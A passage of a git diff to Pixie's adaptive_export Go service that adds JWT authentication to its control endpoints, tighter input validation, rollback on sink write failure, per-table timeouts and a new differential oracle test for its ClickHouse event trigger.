return
}
var req targetReq
- if !decode(r, &req) || req.Pod == "" {
+ if !decode(w, r, &req) || req.Pod == "" {
w.WriteHeader(http.StatusBadRequest)
return
}
@@ -190,7 +231,8 @@ func (s *Server) handleQuery(w http.ResponseWriter, r *http.Request) {
return
}
var req queryReq
- if !decode(r, &req) || req.Pod == "" || req.Table == "" || req.QueryID == "" {
+ if !decode(w, r, &req) || req.Pod == "" || req.Table == "" || req.QueryID == "" ||
+ req.Window[0] <= 0 || req.Window[1] <= 0 || req.Window[0] >= req.Window[1] {
w.WriteHeader(http.StatusBadRequest)
return
}
diff --git a/src/vizier/services/adaptive_export/internal/control/server_test.go b/src/vizier/services/adaptive_export/internal/control/server_test.go
index 90912ec9fca..eb98bed8a00 100644
--- a/src/vizier/services/adaptive_export/internal/control/server_test.go
+++ b/src/vizier/services/adaptive_export/internal/control/server_test.go
@@ -23,6 +23,7 @@ import (
"testing"
"time"
+ jwtutils "px.dev/pixie/src/shared/services/utils"
"px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset"
"px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly"
)
@@ -59,6 +60,45 @@ func do(t *testing.T, srv *Server, method, path, body string) *http.Response {
return w.Result()
}
+// TestControlAuth: with SetAuth on, every endpoint except /healthz requires a
+// valid bearer JWT minted by the shared lib (the same one dx uses); missing/bad
+// tokens get 401. (CodeRabbit: protect control endpoints with auth.)
+func TestControlAuth(t *testing.T) {
+ const key = "0123456789abcdef0123456789abcdef" // HS256 test key
+ srv := New(&fakeExporter{}, nil)
+ srv.SetAuth(key, "vizier")
+ h := srv.Handler()
+
+ good, err := jwtutils.SignJWTClaims(jwtutils.GenerateJWTForService("dx", "vizier"), key)
+ if err != nil {
+ t.Fatalf("mint token: %v", err)
+ }
+ call := func(path, auth string) int {
+ req := httptest.NewRequest(http.MethodPost, path, strings.NewReader(`{"pod":"p","t_end":1}`))
+ if auth != "" {
+ req.Header.Set("Authorization", auth)
+ }
+ w := httptest.NewRecorder()
+ h.ServeHTTP(w, req)
+ return w.Result().StatusCode
+ }
+ if got := call("/export/start", ""); got != http.StatusUnauthorized {
+ t.Fatalf("no bearer: want 401, got %d", got)
+ }
+ if got := call("/export/start", "Bearer not-a-jwt"); got != http.StatusUnauthorized {
+ t.Fatalf("bad bearer: want 401, got %d", got)
+ }
+ if got := call("/export/start", "Bearer "+good); got == http.StatusUnauthorized {
+ t.Fatalf("valid bearer wrongly rejected (401)")
+ }
+ reqH := httptest.NewRequest(http.MethodGet, "/healthz", nil) // probes stay open
+ wH := httptest.NewRecorder()
+ h.ServeHTTP(wH, reqH)
+ if wH.Result().StatusCode == http.StatusUnauthorized {
+ t.Fatal("/healthz must not require auth")
+ }
+}
+
func TestStartExportUpserts(t *testing.T) {
ex := &fakeExporter{}
srv := New(ex, nil)
@@ -126,6 +166,27 @@ func TestBadInputRejected(t *testing.T) {
if r := do(t, srv, http.MethodPost, "/query", `{"pod":"p","query_id":"x","window":[1,2]}`); r.StatusCode != http.StatusBadRequest {
t.Fatalf("query no-table = %d, want 400", r.StatusCode)
}
+ // /export/start with t_end <= 0 — pins the new contract (CodeRabbit
+ // r-#68/control/server_test.go). Without this assertion a regression
+ // that drops the `req.TEnd <= 0` gate would Upsert with a
+ // time.Unix(0,0) tEnd, immediately-expired.
+ if r := do(t, srv, http.MethodPost, "/export/start",
+ `{"pod":"p","namespace":"n","t_end":0}`); r.StatusCode != http.StatusBadRequest {
+ t.Fatalf("start t_end=0 = %d, want 400", r.StatusCode)
+ }
+ if r := do(t, srv, http.MethodPost, "/export/start",
+ `{"pod":"p","namespace":"n","t_end":-1}`); r.StatusCode != http.StatusBadRequest {
+ t.Fatalf("start t_end=-1 = %d, want 400", r.StatusCode)
+ }
+ // /query with inverted or zero window — same idea.
+ if r := do(t, srv, http.MethodPost, "/query",
+ `{"pod":"p","table":"http_events","query_id":"x","window":[10,5]}`); r.StatusCode != http.StatusBadRequest {
+ t.Fatalf("query inverted-window = %d, want 400", r.StatusCode)
+ }
+ if r := do(t, srv, http.MethodPost, "/query",
+ `{"pod":"p","table":"http_events","query_id":"x","window":[5,5]}`); r.StatusCode != http.StatusBadRequest {
+ t.Fatalf("query zero-window = %d, want 400", r.StatusCode)
+ }
}
func TestWrongMethodRejected(t *testing.T) {
diff --git a/src/vizier/services/adaptive_export/internal/controller/controller.go b/src/vizier/services/adaptive_export/internal/controller/controller.go
index 259f6c9ffc7..442aef64ca6 100644
--- a/src/vizier/services/adaptive_export/internal/controller/controller.go
+++ b/src/vizier/services/adaptive_export/internal/controller/controller.go
@@ -254,12 +254,33 @@ func (c *Controller) Rehydrate(ctx context.Context) error {
return err
}
c.mu.Lock()
- defer c.mu.Unlock()
+ var resume []sink.AttributionRow
for i := range rows {
row := rows[i]
c.active[row.AnomalyHash] = &row
+ // Rev-1: a restart restored the window but no pushPixieRows goroutine —
+ // without this, post-restart Pixie data is silently missed until another
+ // event for the same hash arrives (CodeRabbit). Re-arm the fan-out for
+ // each restored window, mirroring handle()'s spawn (in-flight guarded).
+ if c.querier != nil && len(c.cfg.PushPixieTables) > 0 && !c.inFlight[row.AnomalyHash] {
+ c.inFlight[row.AnomalyHash] = true
+ resume = append(resume, row)
+ }
}
- log.WithField("rehydrated", len(rows)).Info("controller: active set restored")
+ c.mu.Unlock()
+ for i := range resume {
+ r := resume[i]
+ go func() {
+ defer func() {
+ c.mu.Lock()
+ delete(c.inFlight, r.AnomalyHash)
+ c.mu.Unlock()
+ }()
+ c.pushPixieRows(ctx, r)
+ }()
+ }
+ log.WithFields(log.Fields{"rehydrated": len(rows), "resumed": len(resume)}).
+ Info("controller: active set restored")
return nil
}
@@ -294,6 +315,16 @@ func (c *Controller) handle(ctx context.Context, ev kubescape.Event) {
c.mu.Lock()
row, exists := c.active[hash]
+ // Save the pre-mutation snapshot so we can roll back if the sink
+ // write fails (CodeRabbit r-#68/controller/controller.go). Without
+ // this, on write error we'd keep the extended TEnd/NAnomalies/
+ // LastSeen in c.active and an already-running pushPixieRows would
+ // re-snapshot them and fan out data based on an attribution row
+ // that never actually landed in CH.
+ var prevRow sink.AttributionRow
+ if exists {
+ prevRow = *row
+ }
if !exists {
row = &sink.AttributionRow{
AnomalyHash: hash,
@@ -331,7 +362,24 @@ func (c *Controller) handle(ctx context.Context, ev kubescape.Event) {
c.mu.Unlock()
if err := c.sink.Write(ctx, []sink.AttributionRow{snapshot}); err != nil {
- log.WithError(err).Warn("controller: sink write failed")
+ // Attribution persistence failed → do NOT fan out, or we'd write Pixie
+ // rows with no persisted attribution anchor (orphaned rows, CodeRabbit).
+ // Non-fatal (system-stability rule): release the reserved in-flight slot,
+ // ROLL BACK the in-memory mutation so an already-running pushPixieRows
+ // for this hash doesn't keep extending its window on a phantom
+ // attribution, and return; a later event for the same hash retries.
+ log.WithError(err).Warn("controller: sink write failed — skipping fan-out")
+ c.mu.Lock()
+ if exists {
+ *c.active[hash] = prevRow
+ } else {
+ delete(c.active, hash)
+ }
+ if spawn {
+ delete(c.inFlight, hash)
+ }
+ c.mu.Unlock()
+ return
}
if c.cfg.OnAttribution != nil {
c.cfg.OnAttribution(snapshot.Namespace, snapshot.Pod, snapshot.TEnd)
diff --git a/src/vizier/services/adaptive_export/internal/controller/controller_test.go b/src/vizier/services/adaptive_export/internal/controller/controller_test.go
index 03b5471c070..f4677f50e5d 100644
--- a/src/vizier/services/adaptive_export/internal/controller/controller_test.go
+++ b/src/vizier/services/adaptive_export/internal/controller/controller_test.go
@@ -48,11 +48,12 @@ func (f *fakeTrigger) push(ev kubescape.Event) { f.ch <- ev }
func (f *fakeTrigger) close() { close(f.ch) }
type fakeSink struct {
- mu sync.Mutex
- writes []sink.AttributionRow
- preload []sink.AttributionRow
- werr error
- qerr error
+ mu sync.Mutex
+ writes []sink.AttributionRow
+ preload []sink.AttributionRow
+ werr error
+ qerr error
+ attempts int // every Write call increments, even when werr fires
}
func (f *fakeSink) WritePixieRows(_ context.Context, _ string, _ []map[string]any) error {
@@ -62,6 +63,7 @@ func (f *fakeSink) WritePixieRows(_ context.Context, _ string, _ []map[string]an
func (f *fakeSink) Write(_ context.Context, rows []sink.AttributionRow) error {
f.mu.Lock()
defer f.mu.Unlock()
+ f.attempts++
if f.werr != nil {
return f.werr
}
@@ -69,6 +71,12 @@ func (f *fakeSink) Write(_ context.Context, rows []sink.AttributionRow) error {
return nil
}
+func (f *fakeSink) writeAttempts() int {
+ f.mu.Lock()
+ defer f.mu.Unlock()
+ return f.attempts
+}
+
func (f *fakeSink) QueryActive(_ context.Context, hostname string) ([]sink.AttributionRow, error) {
f.mu.Lock()
defer f.mu.Unlock()
@@ -316,7 +324,12 @@ func TestController_PruneExpired(t *testing.T) {
}
}
-// TestController_SinkErrorNonFatal — controller does not crash on Sink.Write error.
+// TestController_SinkErrorNonFatal — controller does not crash on
+// Sink.Write error AND rolls back the in-memory attribution row so a
+// failed persist doesn't leave a phantom anchor that pushPixieRows
+// could fan out against (CodeRabbit r-#68/controller/controller.go).
+// The rollback contract is: on first event for a hash with write
+// failure → c.active[hash] is NOT added.
func TestController_SinkErrorNonFatal(t *testing.T) {
trig := newFakeTrigger()
snk := &fakeSink{werr: errors.New("ch unreachable")}
@@ -326,8 +339,13 @@ func TestController_SinkErrorNonFatal(t *testing.T) {
defer stop()
trig.push(canonicalEvent())
- // Wait for the handler to process the event (no fixed sleep).
- waitFor(t, "active=1 despite sink error", 200*time.Millisecond, func() bool { return c.Active() == 1 })
+ // Wait until the handler has actually called Write (and got the
+ // error). Then assert rollback: active stays at 0.
+ waitFor(t, "handler processed sink error", 200*time.Millisecond,
+ func() bool { return snk.writeAttempts() >= 1 })
+ if got := c.Active(); got != 0 {
+ t.Fatalf("Active()=%d after sink error; want 0 (rollback contract)", got)
+ }
}
// TestController_RestartMidStream_Aborts — context cancel terminates Run.
diff --git a/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go b/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go
index 77413820a99..d556c131c1c 100644
--- a/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go
+++ b/src/vizier/services/adaptive_export/internal/passthrough/passthrough.go
@@ -234,7 +234,11 @@ func (l *Loop) tickConcurrent(ctx context.Context, sliceStart, sliceEnd time.Tim
}
tmpl, ok := l.tmpl[table]
if !ok {
- // Non-builtin table skipped at precompile time.
+ // Non-builtin table skipped at precompile time. Record the
+ // failure so the reconcile row count matches the legacy
+ // (non-compiled) path, which records one row per table per
+ // tick unconditionally (CodeRabbit r-#68/passthrough.go).
+ l.rec(ctx, table, sliceStart, sliceEnd, 0, 0, "pxl: precompile skipped (non-builtin table)")
continue
}
src := pxl.Render(tmpl, sliceStart, sliceEnd)
@@ -252,6 +256,11 @@ func (l *Loop) tickConcurrent(ctx context.Context, sliceStart, sliceEnd time.Tim
// sink, and recorder are all pool/HTTP-backed and concurrency-safe, and
// each call touches a different forensic_db..
func (l *Loop) pull(ctx context.Context, table, src string, sliceStart, sliceEnd time.Time) {
+ // Bound this table's external query+write+record so a hung dependency can't
+ // stall the whole sweep or delay shutdown (CodeRabbit). Derived per-table
+ // from the parent ctx; covers both the serial and concurrent tick paths.
+ ctx, cancel := context.WithTimeout(ctx, l.cfg.Refresh)
+ defer cancel()
rows, err := l.q.Query(ctx, src)
if err != nil {
log.WithError(err).WithField("table", table).Warn("ADAPTIVE_PASSTHROUGH: pixie query failed")
diff --git a/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go
index 61c8bef283f..6f5e862318b 100644
--- a/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go
+++ b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go
@@ -130,6 +130,13 @@ func (a *Adapter) Query(ctx context.Context, pxl string) ([]Row, error) {
// bounded and matched by goroutine + JWT expiry every ~10min.
// If we ever build a high-throughput direct-mode path, swap to
// a long-lived client + JWT-refresh ticker instead.
+ //
+ // TODO(pem-direct, CR r-#68/pixieapi.go): track a follow-up to
+ // replace per-Query dial with a long-lived pxapi.Client +
+ // background JWT refresh once direct-mode throughput crosses
+ // 1 query/sec sustained. Existing tests in pixieapi_test.go
+ // pin the per-query JWT mint path; an upgrade has to preserve
+ // that without leaking connections.
c, err := pxapi.NewClient(ctx,
pxapi.WithCloudAddr(a.directOpts.VizierAddr),
pxapi.WithDirectTLSSkipVerify(),
diff --git a/src/vizier/services/adaptive_export/internal/sink/clickhouse.go b/src/vizier/services/adaptive_export/internal/sink/clickhouse.go
index e5fc6130a71..1f30fb8a187 100644
--- a/src/vizier/services/adaptive_export/internal/sink/clickhouse.go
+++ b/src/vizier/services/adaptive_export/internal/sink/clickhouse.go
@@ -198,13 +198,19 @@ func (s *ClickHouseHTTP) WritePixieRows(ctx context.Context, table string, rows
firstRowKeys = append(firstRowKeys, k)
}
}
+ // Demoted from Info to Debug: one log per Pixie batch in the
+ // fan-out/streaming hot paths produces avoidable log-volume
+ // pressure. The original Info was temporary scaffolding while we
+ // chased the pgsql_events silent-drop mystery; the silent-drop
+ // guard below is what actually catches that class of bug now.
+ // (CodeRabbit r-#68/sink/clickhouse.go.)
log.WithFields(log.Fields{
"table": table,
"rows_sent": len(rows),
"body_bytes": buf.Len(),
"ch_summary": summary,
"first_row_keys": strings.Join(firstRowKeys, ","),
- }).Info("sink: pixie write completed")
+ }).Debug("sink: pixie write completed")
// Detect the silent-drop class: CH returns 2xx but
// X-ClickHouse-Summary.written_rows < len(rows). Observed live on
// 2026-05-23T20:58Z (redis_events: rows_sent=1658, written_rows=0)
diff --git a/src/vizier/services/adaptive_export/internal/sink/fastencode.go b/src/vizier/services/adaptive_export/internal/sink/fastencode.go
index cfa02bec876..5c099ad7f85 100644
--- a/src/vizier/services/adaptive_export/internal/sink/fastencode.go
+++ b/src/vizier/services/adaptive_export/internal/sink/fastencode.go
@@ -21,6 +21,7 @@ import (
"encoding/json"
"errors"
"fmt"
+ "math"
"strconv"
"sync"
"time"
@@ -182,8 +183,21 @@ func appendJSONValue(buf *bytes.Buffer, v any) error {
case uint64:
appendUint(buf, x)
case float32:
- appendFloat(buf, float64(x))
+ f := float64(x)
+ // Reject NaN / +Inf / -Inf — strconv.AppendFloat emits them as
+ // "NaN" / "+Inf" / "-Inf" which are invalid JSON and would
+ // cause CH to reject the entire batch. errFastEncodeUnsupported
+ // triggers the encoding/json fallback path, which also fails
+ // on non-finite, but at the per-row granularity instead of
+ // poisoning the whole batch (CodeRabbit r-#68/fastencode.go).
+ if math.IsNaN(f) || math.IsInf(f, 0) {
+ return errFastEncodeUnsupported
+ }
+ appendFloat(buf, f)
case float64:
+ if math.IsNaN(x) || math.IsInf(x, 0) {
+ return errFastEncodeUnsupported
+ }
appendFloat(buf, x)
case time.Time:
// Same format normalisePixieValue uses for the encoding/json
diff --git a/src/vizier/services/adaptive_export/internal/sink/integration_test.go b/src/vizier/services/adaptive_export/internal/sink/integration_test.go
index 343510d991f..7ef6e6d4136 100644
--- a/src/vizier/services/adaptive_export/internal/sink/integration_test.go
+++ b/src/vizier/services/adaptive_export/internal/sink/integration_test.go
@@ -155,13 +155,17 @@ func TestSinkWritePixieRows_Live(t *testing.T) {
tag := fmt.Sprintf("aw-pix-%d", time.Now().UnixNano())
now := time.Now().UTC()
- ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
- defer cancel()
for _, table := range chpkg.PixieTables() {
+ // Per-table timeout so a slow early table can't starve later
+ // ones — a shared budget across the whole loop makes this live
+ // test unnecessarily flaky on a loaded CH (CodeRabbit
+ // r-#68/sink/integration_test.go).
+ ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
row := minimalRowFor(table, tag, now)
if err := s.WritePixieRows(ctx, table, []map[string]any{row}); err != nil {
t.Errorf("WritePixieRows(%s): %v", table, err)
+ cancel()
continue
}
ident := table
@@ -173,6 +177,7 @@ func TestSinkWritePixieRows_Live(t *testing.T) {
if got < 1 {
t.Errorf("table %s after WritePixieRows: count=%d, want >=1", table, got)
}
+ cancel()
}
}
diff --git a/src/vizier/services/adaptive_export/internal/streaming/writer.go b/src/vizier/services/adaptive_export/internal/streaming/writer.go
index 313ab1ae4cf..004c8b2a8c4 100644
--- a/src/vizier/services/adaptive_export/internal/streaming/writer.go
+++ b/src/vizier/services/adaptive_export/internal/streaming/writer.go
@@ -109,12 +109,16 @@ func (w *BatchWriter) Run(ctx context.Context) {
ticker := time.NewTicker(w.batchEvery)
defer ticker.Stop()
- flush := func(reason string) {
+ flush := func(parent context.Context, reason string) {
if len(buf) == 0 {
return
}
- // Bound the CH write so a stalled CH HTTP doesn't pin us.
- fctx, cancel := context.WithTimeout(ctx, 60*time.Second)
+ // Bound the CH write so a stalled CH HTTP doesn't pin us. The
+ // parent ctx is the caller's choice — Run passes its own ctx
+ // for steady-state flushes (so a cancellation propagates) and
+ // context.Background() for the shutdown flush (so the final
+ // drain isn't fast-failed by an already-cancelled parent).
+ fctx, cancel := context.WithTimeout(parent, 60*time.Second)
err := w.sink.WritePixieRows(fctx, w.table, buf)
cancel()
if err != nil {
@@ -122,33 +126,39 @@ func (w *BatchWriter) Run(ctx context.Context) {
"table": w.table,
"rows": len(buf),
"reason": reason,
- }).Warn("streaming.BatchWriter: flush failed")
- } else {
- log.WithFields(log.Fields{
- "table": w.table,
- "rows": len(buf),
- "reason": reason,
- }).Info("streaming.BatchWriter: flushed batch")
+ }).Warn("streaming.BatchWriter: flush failed — buffered rows retained for next attempt")
+ // Keep buf intact on failure so the next flush retries the
+ // same rows instead of silently dropping them
+ // (CodeRabbit r-#68/streaming/writer.go).
+ return
}
+ log.WithFields(log.Fields{
+ "table": w.table,
+ "rows": len(buf),
+ "reason": reason,
+ }).Info("streaming.BatchWriter: flushed batch")
buf = buf[:0]
}
for {
select {
case <-ctx.Done():
- flush("shutdown")
+ // Shutdown: use Background so the final flush isn't
+ // fast-failed by the already-cancelled parent ctx
+ // (CodeRabbit r-#68/streaming/writer.go).
+ flush(context.Background(), "shutdown")
return
case rows := <-w.in:
buf = append(buf, rows...)
if len(buf) >= w.batchRows {
- flush("size")
+ flush(ctx, "size")
// Reset ticker so we don't get a redundant flush 100ms later
ticker.Reset(w.batchEvery)
}
case <-ticker.C:
- flush("timer")
+ flush(ctx, "timer")
}
}
}
diff --git a/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel b/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel
index 367e6acc1f0..0445d9211f4 100644
--- a/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel
+++ b/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel
@@ -38,6 +38,7 @@ pl_go_test(
"clickhouse_internal_test.go",
"clickhouse_test.go",
"fingerprint_bench_test.go",
+ "oracle_test.go",
"watermark_test.go",
],
embed = [":trigger"],
diff --git a/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go b/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go
index 54d93aeea05..80e03f3b942 100644
--- a/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go
+++ b/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go
@@ -73,8 +73,11 @@ type Config struct {
// PollLimit caps rows returned per poll. Bounds catch-up work
// after a restart so a 10h backlog doesn't translate into a
// single multi-GiB SELECT the HTTP client times out on; instead
- // it drains in N polls of PollLimit rows. Default 10000.
- // 0 → unlimited (legacy behavior — NOT recommended in prod).
+ // it drains in N polls of PollLimit rows.
+ // Default: 10000 (also used when caller passes 0). Set explicitly
+ // if the default doesn't match your backlog/throughput; "unlimited"
+ // is NOT a supported value — every poll always carries a LIMIT.
+ // (CodeRabbit r-#68/trigger/clickhouse.go.)
PollLimit int
// HTTPTimeout bounds each individual poll. Default 30s; previously
@@ -273,6 +276,7 @@ func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) {
// with the time-based throttle inside flushWatermark, this
// produces at most one persistent INSERT per WatermarkSaveInterval.
const saveEveryN = 256
+ skippedAtBoundary := 0
for i, row := range rows {
fp := rowFingerprint(row)
// Cursor comparisons are in NORMALIZED nanos (F8): the raw
@@ -280,6 +284,7 @@ func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) {
// as the SQL filter (chNormEventTimeNanos) and maxSeen.
evn := normalizeEventTimeNanos(row.EventTime)
if evn == watermark && seenAtBoundary[fp] {
+ skippedAtBoundary++
continue // already pushed in a prior poll at this exact boundary
}
ev, err := kubescape.Extract(row)
@@ -314,6 +319,23 @@ func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) {
for fp := range nextSeen {
seenAtBoundary[fp] = true
}
+ // Paging escape: if every row returned was a boundary-skip AND
+ // the response was at PollLimit capacity, there may be additional
+ // rows at the same normalized event_time that we will never reach
+ // (the SQL ORDER BY has no secondary key, so LIMIT always returns
+ // the same PollLimit rows from the boundary). Advance the watermark
+ // by 1 nanosecond to escape the boundary. In practice this means
+ // at most one nanosecond's worth of events are not re-delivered on
+ // the next poll, which is acceptable: the fingerprint dedup already
+ // tolerates boundary overlap, and we prefer forward progress over
+ // an infinite loop.
+ if skippedAtBoundary > 0 && len(nextSeen) == 0 && len(rows) >= t.cfg.PollLimit {
+ watermark++
+ seenAtBoundary = map[string]bool{}
+ dirty = true
+ log.WithField("watermark", watermark).
+ Warn("trigger: boundary paging escape — advanced watermark by 1ns to unblock poll")
+ }
}
// Final flush at end of pollOnce — also throttled.
flushWatermark()
diff --git a/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go b/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go
index 82454c86bc7..8ca780fc3db 100644
--- a/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go
+++ b/src/vizier/services/adaptive_export/internal/trigger/clickhouse_internal_test.go
@@ -22,6 +22,7 @@ import (
"net/http/httptest"
"strconv"
"strings"
+ "sync"
"testing"
"time"
)
@@ -61,9 +62,13 @@ func TestNormalizeEventTimeNanos(t *testing.T) {
// stops a larger-unit row from poisoning the watermark (F8). It captures the
// query the trigger sends to ClickHouse.
func TestFetchSinceFiltersOnNormalizedEventTime(t *testing.T) {
+ var mu sync.Mutex
var gotQuery string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
- gotQuery = r.URL.Query().Get("query")
+ q := r.URL.Query().Get("query")
+ mu.Lock()
+ gotQuery = q
+ mu.Unlock()
w.WriteHeader(200) // empty body = 0 rows, valid JSONEachRow
}))
defer srv.Close()
@@ -80,16 +85,20 @@ func TestFetchSinceFiltersOnNormalizedEventTime(t *testing.T) {
t.Fatalf("fetchSince: %v", err)
}
- if !strings.Contains(gotQuery, chNormEventTimeNanos) {
- t.Errorf("query does not normalize event_time; want %q in:\n%s", chNormEventTimeNanos, gotQuery)
+ mu.Lock()
+ q := gotQuery
+ mu.Unlock()
+
+ if !strings.Contains(q, chNormEventTimeNanos) {
+ t.Errorf("query does not normalize event_time; want %q in:\n%s", chNormEventTimeNanos, q)
}
// The >= bound must compare the normalized expression against the nanos
// watermark, not the raw column.
wantPred := chNormEventTimeNanos + " >= " + strconv.FormatUint(wmNanos, 10)
- if !strings.Contains(gotQuery, wantPred) {
- t.Errorf("query filter is not normalized-vs-nanos-watermark; want %q in:\n%s", wantPred, gotQuery)
+ if !strings.Contains(q, wantPred) {
+ t.Errorf("query filter is not normalized-vs-nanos-watermark; want %q in:\n%s", wantPred, q)
}
- if strings.Contains(gotQuery, "event_time >= ") {
- t.Errorf("query still uses RAW event_time filter (poison-prone):\n%s", gotQuery)
+ if strings.Contains(q, "event_time >= ") {
+ t.Errorf("query still uses RAW event_time filter (poison-prone):\n%s", q)
}
}
diff --git a/src/vizier/services/adaptive_export/internal/trigger/oracle_test.go b/src/vizier/services/adaptive_export/internal/trigger/oracle_test.go
new file mode 100644
index 00000000000..fe7f8d7a1da
--- /dev/null
+++ b/src/vizier/services/adaptive_export/internal/trigger/oracle_test.go
@@ -0,0 +1,493 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package trigger
+
+import (
+ "context"
+ "encoding/json"
+ "fmt"
+ "net/http"
+ "net/http/httptest"
+ "regexp"
+ "sort"
+ "strconv"
+ "sync"
+ "testing"
+ "time"
+
+ "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape"
+)
+
+// Differential oracle for the trigger's incremental kubescape-events pump.
+//
+// The trigger is incremental: it polls CH for rows with
+// ` >= watermark`, advances the in-memory watermark
+// to the maximum of consumed rows' normalised event_time, and dedupes by
+// fingerprint at the boundary so a row that crosses two polls (same
+// event_time as the watermark) isn't emitted twice.
+//
+// Three independent moving parts: watermark advancement, boundary
+// fingerprint dedup, and PollLimit-saturated draining (PR #67 fix). A
+// classical mocks-and-assert test exercises each in isolation. This
+// oracle pins them TOGETHER against the simplest possible reference:
+// "consume everything in event_time order, dedupe by fingerprint,
+// advance the cursor to max(event_time)." If the iterative trigger and
+// the reference disagree on the set of emitted rows for ANY poll
+// sequence, one of the three moving parts is wrong.
+//
+// The reference is intentionally PxL-free and stateless across the
+// `allRows` corpus — the entire spec is six lines of Go in
+// naiveTriggerReference below. Anything more complex would be testing
+// the test, not the trigger.
+
+// rowsForPoll is the per-poll subset of the corpus the mock returns,
+// reflecting ClickHouse's behaviour: filter rows where
+// normalizeEventTimeNanos(event_time) >= watermark, order by the same,
+// then truncate to LIMIT (PollLimit). Deterministic given (corpus, wm).
+func rowsForPoll(corpus []kubescape.Row, watermark uint64, limit int) []kubescape.Row {
+ filtered := make([]kubescape.Row, 0, len(corpus))
+ for _, r := range corpus {
+ if normalizeEventTimeNanos(r.EventTime) >= watermark {
+ filtered = append(filtered, r)
+ }
+ }
+ sort.SliceStable(filtered, func(i, j int) bool {
+ return normalizeEventTimeNanos(filtered[i].EventTime) <
+ normalizeEventTimeNanos(filtered[j].EventTime)
+ })
+ if limit > 0 && len(filtered) > limit {
+ filtered = filtered[:limit]
+ }
+ return filtered
+}
+
+// naiveTriggerReference is the spec: drain `corpus` in event_time order,
+// dedupe by fingerprint, emit every row above `start` exactly once.
+// Returns the emitted rows AND the final watermark — both are what the
+// iterative trigger MUST converge to no matter how the polls slice up
+// the corpus.
+func naiveTriggerReference(corpus []kubescape.Row, start uint64) ([]kubescape.Row, uint64) {
+ sorted := make([]kubescape.Row, len(corpus))
+ copy(sorted, corpus)
+ sort.SliceStable(sorted, func(i, j int) bool {
+ return normalizeEventTimeNanos(sorted[i].EventTime) <
+ normalizeEventTimeNanos(sorted[j].EventTime)
+ })
+ cursor := start
+ seen := map[string]bool{}
+ var out []kubescape.Row
+ for _, r := range sorted {
+ etn := normalizeEventTimeNanos(r.EventTime)
+ if etn < cursor {
+ continue
+ }
+ fp := rowFingerprint(r)
+ if seen[fp] {
+ continue
+ }
+ seen[fp] = true
+ out = append(out, r)
+ if etn > cursor {
+ cursor = etn
+ }
+ }
+ return out, cursor
+}
+
+// mockKubescapeLogs serves the iterative trigger from a fixed corpus.
+// The query SQL embeds the watermark + LIMIT; the handler extracts
+// them via the same chNormEventTimeNanos shape the trigger emits and
+// responds with the filtered/ordered/limited slice as JSONEachRow.
+func mockKubescapeLogs(t *testing.T, corpus []kubescape.Row) *httptest.Server {
+ t.Helper()
+ // `... ) >= ORDER BY ... LIMIT `
+ re := regexp.MustCompile(`\) >= (\d+) ORDER BY .* LIMIT (\d+)`)
+ return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ q := r.URL.Query().Get("query")
+ m := re.FindStringSubmatch(q)
+ if m == nil {
+ http.Error(w, "unexpected SQL: "+q, http.StatusBadRequest)
+ return
+ }
+ watermark, _ := strconv.ParseUint(m[1], 10, 64)
+ limit, _ := strconv.Atoi(m[2])
+ rows := rowsForPoll(corpus, watermark, limit)
+ for _, row := range rows {
+ b, _ := json.Marshal(map[string]any{
+ "RuleID": row.RuleID,
+ "RuntimeK8sDetails": row.K8sDetails,
+ "RuntimeProcessDetails": row.ProcessDetails,
+ // the trigger parses event_time as a JSON number OR a
+ // quoted string; CH returns the latter for UInt64. Match
+ // CH's wire shape so we stay faithful to production.
+ "event_time": strconv.FormatUint(row.EventTime, 10),
+ "hostname": row.Hostname,
+ })
+ _, _ = w.Write(b)
+ _, _ = w.Write([]byte("\n"))
+ }
+ }))
+}
+
+// runTriggerAgainstCorpus drives the iterative trigger over `corpus`
+// for up to `maxPolls * pollInterval` and returns the emitted events.
+// Terminates as soon as the trigger emits len(naive) events OR maxPolls
+// elapses (the second case is a real failure: the trigger missed rows
+// the naive reference saw).
+func runTriggerAgainstCorpus(
+ t *testing.T,
+ corpus []kubescape.Row,
+ pollLimit int,
+ expectedCount int,
+) []kubescape.Event {
+ t.Helper()
+ srv := mockKubescapeLogs(t, corpus)
+ defer srv.Close()
+
+ tr, err := New(Config{
+ Endpoint: srv.URL,
+ Hostname: "node-1",
+ PollInterval: 5 * time.Millisecond, // tight: many polls per second
+ PollLimit: pollLimit,
+ })
+ if err != nil {
+ t.Fatalf("New: %v", err)
+ }
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+ ch, err := tr.Subscribe(ctx)
+ if err != nil {
